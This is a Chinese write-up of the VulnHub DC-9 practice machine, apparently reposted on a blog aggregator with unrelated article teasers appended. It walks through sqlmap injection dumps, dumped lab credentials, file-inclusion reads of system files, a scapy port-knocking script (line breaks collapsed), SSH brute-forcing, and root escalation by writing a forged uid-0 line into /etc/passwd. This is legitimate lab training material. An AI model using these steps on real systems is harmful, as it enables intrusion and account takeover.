DC-9笔记

靶机信息

官网:DC: 9 ~ VulnHub

请添加图片描述

只有一个flag,官网上没给其他提示

信息收集

nmap 192.168.66.2-254

请添加图片描述

nmap 192.168.66.146 -A -p-

请添加图片描述

开放了80端口,22端口是filtered的,被过滤?

NMAP 六种端口状态解读_nmap filtered-CSDN博客

那来看看http服务吧

http(80)

请添加图片描述

页脚是空白的,插件也没有检测到用什么框架,自己写的吗?

请添加图片描述

display.php页面找到了一些用户信息

请添加图片描述

results.php页面能查找用户,觉得有sql注入的可能

manage.php页面是个登录页面,那么我们来看看results或者manage这两个页面有没有sql注入吧

请添加图片描述

搁results.php找到了sql注入

请添加图片描述

python3 .\sqlmap.py -r C:\Users\N\Desktop\123.txt -D Staff -T Users -C "Password,UserID,Username" --dump

请添加图片描述

+----------------------------------+--------+----------+
| Password                         | UserID | Username |
+----------------------------------+--------+----------+
| 856f5de590ef37314e7c3bdf6f8a66dc | 1      | admin    |
+----------------------------------+--------+----------+

MD5免费在线解密破解_MD5在线加密-SOMD5

密文解开是:transorbital1

登录后台

请添加图片描述

页脚有个文件不存在,一下子就想到了之前的文件包含漏洞,也是页脚文件的包含

请添加图片描述

包含上了,但是吧,php伪协议试过了,用不了

那就随便翻翻系统的敏感文件吧

Linux常见的敏感目录 - 楼–楼 - 博客园 (cnblogs.com)

windows和linux敏感文件记录_渗透测试windows敏感文件-CSDN博客

linux调度器(十)——调度器/proc信息解读 - delay疯子 - 博客园 (cnblogs.com)

最后在/proc/sched_debug文件里找到了突破口

请添加图片描述

通过Knockd隐藏SSH,让黑客看不见你的服务器-CSDN博客

ssh(22)

好家伙,难怪ssh信息收集的时候显示filtered,原来使用knockd做了隐藏,那么我们需要端口敲门才行

包含knockd服务的配置文件来看开门条件

请添加图片描述

我们需要采用syn报文依次访问7469,8475,9842端口才可以开启22端口

python写个敲门脚本

from scapy.all import *dst = "192.168.66.146"
sport = 5678
dports = [7469,8475,9842]
iface = "VMware Virtual Ethernet Adapter for VMnet1"for i in dports:dport=ipkt = IP(dst = dst)/TCP(sport = sport, dport = dport , flags = 'S')fb = sr (pkt,iface=iface ,timeout=1,verbose=0)print("敲门成功")

运行后再次对目标进行探测,发现22端口已经是开放状态了

请添加图片描述

接着就是用户名和密码了,用户名我们可以从/etc/passwd文件里获取

密码我在后面又发现了一个新的数据库是users

python3 .\sqlmap.py -r C:\Users\N\Desktop\123.txt -D users -T UserDetails -C "firstname,id,lastname,password,reg_date,username" --dump
+-----------+----+------------+---------------+---------------------+-----------+
| firstname | id | lastname   | password      | reg_date            | username  |
+-----------+----+------------+---------------+---------------------+-----------+
| Mary      | 1  | Moe        | 3kfs86sfd     | 2019-12-29 16:58:26 | marym     |
| Julie     | 2  | Dooley     | 468sfdfsd2    | 2019-12-29 16:58:26 | julied    |
| Fred      | 3  | Flintstone | 4sfd87sfd1    | 2019-12-29 16:58:26 | fredf     |
| Barney    | 4  | Rubble     | RocksOff      | 2019-12-29 16:58:26 | barneyr   |
| Tom       | 5  | Cat        | TC&TheBoyz    | 2019-12-29 16:58:26 | tomc      |
| Jerry     | 6  | Mouse      | B8m#48sd      | 2019-12-29 16:58:26 | jerrym    |
| Wilma     | 7  | Flintstone | Pebbles       | 2019-12-29 16:58:26 | wilmaf    |
| Betty     | 8  | Rubble     | BamBam01      | 2019-12-29 16:58:26 | bettyr    |
| Chandler  | 9  | Bing       | UrAG0D!       | 2019-12-29 16:58:26 | chandlerb |
| Joey      | 10 | Tribbiani  | Passw0rd      | 2019-12-29 16:58:26 | joeyt     |
| Rachel    | 11 | Green      | yN72#dsd      | 2019-12-29 16:58:26 | rachelg   |
| Ross      | 12 | Geller     | ILoveRachel   | 2019-12-29 16:58:26 | rossg     |
| Monica    | 13 | Geller     | 3248dsds7s    | 2019-12-29 16:58:26 | monicag   |
| Phoebe    | 14 | Buffay     | smellycats    | 2019-12-29 16:58:26 | phoebeb   |
| Scooter   | 15 | McScoots   | YR3BVxxxw87   | 2019-12-29 16:58:26 | scoots    |
| Donald    | 16 | Trump      | Ilovepeepee   | 2019-12-29 16:58:26 | janitor   |
| Scott     | 17 | Morrison   | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2  |
+-----------+----+------------+---------------+---------------------+-----------+

用拿到的用户和密码去爆破ssh,所有的信息汇总一下,一共是43个已知用户名和18个已知密码

请添加图片描述

多爆破两次,出来了三个用户名

chandlerb:UrAG0D!
janitor:Ilovepeepee
joeyt:Passw0rd

提权

三个用户都能ssh登录,但是只在janitor用户里找到了线索

janitor用户home里有个.secrets-for-putin文件夹

请添加图片描述

里面有一个密码字典文件,我们给复制出来,然后接着用之前的用户名去爆破

请添加图片描述

又出来个账号密码

fredf:B4-Tru3-001

请添加图片描述

我们搁sudo -l里看见了提权的线索,一个可以以root权限执行的文件

是个可执行文件,大概率是test.py编译出来的

请添加图片描述

在/opt/devstuff目录下发现了test.py文件

请添加图片描述

简单,读一个文件然后将内容写入到另一个文件以root权限

linux默认不让空密码登录,所以先生成一个密码,然后仿造/etc/passwd文件的格式写一个root权限格式的用户

然后su切换过去就可以以root权限登陆了

cd /tmp
# 首先切换到tmp目录防止权限问题
openssl passwd -1 -salt 123 123
# 生成加盐密码
echo '123:$1$123$nE5gIYTYiF1PIXVOFjQaW/:0:0::/root:/bin/bash' > 1.txt
# 伪造用户信息
sudo /opt/devstuff/dist/test/test /tmp/1.txt /etc/passwd
# 写入假用户信息进/etc/passwd文件

请添加图片描述

flag

请添加图片描述

小结

这个靶机最让我意想不到的是端口敲门,之前没接触过这种藏匿端口的方式

然后也接触到了很多linux系统的敏感文件位置

然后就是用户信息我们收集到就不要忽视,不断扩大自己的字典去爆破

DC系列告一段落了,打下来还是有很多收获的,扩宽了很多思路

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/63372.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

STM32-笔记3-驱动蜂鸣器

1、复制03项目,重命名为04项目 打开04项目的Drivers/BSP/led文件夹,把led文件夹更改为beep文件夹,改文件夹内部的.c和.h文件更改为beep.c和beep.h文件,如下图所示。 2、打开工程文件 出现弹窗,显示找不到xx文件&#…

PHP开发日志 ━━ 基础知识:四种不同的变量返回方式该如何调用

最近在给框架升级,其中涉及到古早的缓存系统升级,现在准备区分类型为混合、变量和普通文件,那么变量用什么形式存储到缓存才能给后续开发带来便利和通用性呢?于是就涉及到了本文的php基础知识。 好吧,又是一个无用的知…

概率论得学习和整理30: 用EXCEL 描述泊松分布 poisson distribution

目录 1 泊松分布的基本内容 1.1 泊松分布的关键点 1.1.1 属于离散分布 1.1.2 泊松分布的特点:每个子区间内概率相等 , λ就是平均概率 1.2 核心参数 1.3 pmf公式 1.4 期望和方差 2 例1:用EXCEL计算泊松分布的概率 3 比较λ不同值时…

Java中的垃圾收集器

文章目录 1. 理解不同类型的垃圾收集器1.1 Serial 收集器1.2 Parallel (吞吐量) 收集器1.3 CMS (Concurrent Mark-Sweep) 收集器1.4 G1 (Garbage First) 收集器1.5 ZGC 和 Shenandoah GC1.6 Epsilon GC1.7 ParNew 收集器1.8 Zing (Azul Systems) 2. 优化垃圾收集器的选择和配置…

测试工程师八股文05|功能测试、业务测试

一、基础概念 1、软件测试分类 1️⃣按照软件产生的阶段划分 单元测试:针对程序源代码进行测试【开发自测】集成测试:针对模块之间功能交互进行测试系统测试:对整个系统(功能、非功能)进行全面测试验收测试&#xff…

图(dfs与bfs)算法2

进度:15/100 原题1: 给你一棵二叉树的根节点 root ,翻转这棵二叉树,并返回其根节点。 (力扣的图) 原题2: 给定二叉树的根节点 root ,返回所有左叶子之和。 原题3: 给…

《鸿蒙开发-答案之书》字符串占位符格式化

《鸿蒙开发-答案之书》字符串占位符格式化 先在string.json定义: {"name":"message_arrive","value":"We will arrive at %s."}使用,它有两种使用方式: 方式一: Text($r(app.string.…

Redis bitmaps 使用

应用场景: 记录id为 1 的用户,2024年12月签到情况,并统计; 记录 1号签到 zxys-redis:0>setbit 1:202412 1 1 记录 2号签到 zxys-redis:0>setbit 1:202412 2 1 记录 3号未签到 zxys-redis:0>setbit 1:202412 3 0 …

【微服务】SpringBoot 整合Redis Stack 构建本地向量数据库相似性查询

目录 一、前言 二、向量数据库介绍 2.1 什么是向量数据库 2.2 向量数据库特点 2.3 向量数据库使用场景 三、常用的向量数据库解决方案 3.1 Milvus 3.1.1 Milvus是什么 3.1.2 Milvus主要特点 3.2 Faiss 3.2.1 Faiss是什么 3.2.2 Faiss主要特点 3.3 Pinecone 3.3.1 …

【数据库】大二数据库复习范围 (快速版)帮助你快速复习数据库

第一章 1. 信息=数据+语义 2:数据库管理系统(database management system, DBMS) 3. 数据库系统(database system, DBS)由数据库、数据库用户、计算机硬件系统和计算机软件系统等几部分组成 4. 数据模型按应用层次可分为概念模型、逻辑模型和物理模型。 5.每个二维表…

FMIKit-Simulink 常见问题解决方案

将解压后的文件夹添加到 MATLAB 路径中: addpath(fullfile(pwd, FMIKit-Simulink-3.1));初始化 FMIKit: FMIKit.initialize(); 设置求解器rtwsfcnfmi.tlc、或grtfmi.tlc再CtrlB即可。 帮助文档可查看导出FUM和导入FMU。 FMIKit-Simulink-3.1\html\index…

UE UMG 多级弹出菜单踩坑

多级弹出菜单 https://www.bilibili.com/video/BV1ub411J7nA 运行时添加 widget 的方法 create widget 然后 add child 到某个组件,比如 canvas 运行时修改 widget 位置的方法 set widget slot position 用起来没效果 怀疑是因为我没有传入 slot 但是暂时不知…

sunset: midnight

https://www.vulnhub.com/entry/sunset-midnight,517/ 主机发现端口扫描 探测存活主机,8是靶机 nmap -sP 192.168.56.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-05 16:49 CST Nmap scan report for 192.168.56.1 …

【PyTorch】动态调整学习率 torch.optim.lr_scheduler.StepLR 调度器

文章目录 1. torch.optim.lr_scheduler.StepLR 官方文档详解2. 使用示例2.1 官方提供使用示例2.2 自己写代码测试方法2.2.1 get_last_lr() 方法2.2.2 state_dict() 方法2.2.3 load_state_dict() 保存和加载调度器 3. 思考3.1 为什么需要state_dict()3.2 get_lr() 与 get_last_l…

伊克罗德与九科信息共同发布RPA+AI智能机器人解决方案

12月12日,伊克罗德信息在上海举办“创见AI,迈进智能化未来——科技赋能零售电商”活动,与九科信息、亚马逊云科技共同探讨与分享,融合生成式AI技术和智能自动化(RPA,Robotic Process Automation)在电商零售…

hutool一些典型的方法使用笔记

hutool一些典型的方法使用笔记 1 克隆1.1 深克隆 2类型转换2.1其他类型转换为字符串2.2 转换为日期对象2.3 数组转集合2.4 Unicode和字符串转换2.5 数字转中文 文档地址:https://blog.csdn.net/dxjren/article/details/144468399 1 克隆 1.1 深克隆 定义一个实体类…

QT实战经验总结 连载中

QT实战经验总结 在看书系统学习后,就开始实战了,会遇到很多问题1.信号和槽的思考2.在python 或 C 代码中,对 QML 代码中控件的调用关于在一个窗口上不断打开新窗口 在看书系统学习后,就开始实战了,会遇到很多问题 pyt…

从 CephFS 到 JuiceFS:同程旅行亿级文件存储平台构建之路

随着公司业务的快速发展,同程旅行的非结构化的数据突破 10 亿,在 2022 年,同程首先完成了对象存储服务的建设。当时,分布式文件系统方面,同程使用的是 CephFS,随着数据量的持续增长,CephFS 的高…

固定资产分类,提升资产盘活效益

固定资产是企业长期使用的重要资源,涵盖范围广、种类多,不同的资产需要针对性管理。通过科学的分类与高效的盘活策略,不仅可以优化资源配置,还能提升企业资产的利用效率和经济效益。以下将详细解析固定资产的分类方式和盘活效益的…

富途证券C++面试题及参考答案

C++ 中堆和栈的区别 在 C++ 中,堆和栈是两种不同的内存区域,它们有许多区别。 从内存分配方式来看,栈是由编译器自动分配和释放的内存区域。当一个函数被调用时,函数内的局部变量、函数参数等会被压入栈中,这些变量的内存空间在函数执行结束后会自动被释放。例如,在下面的…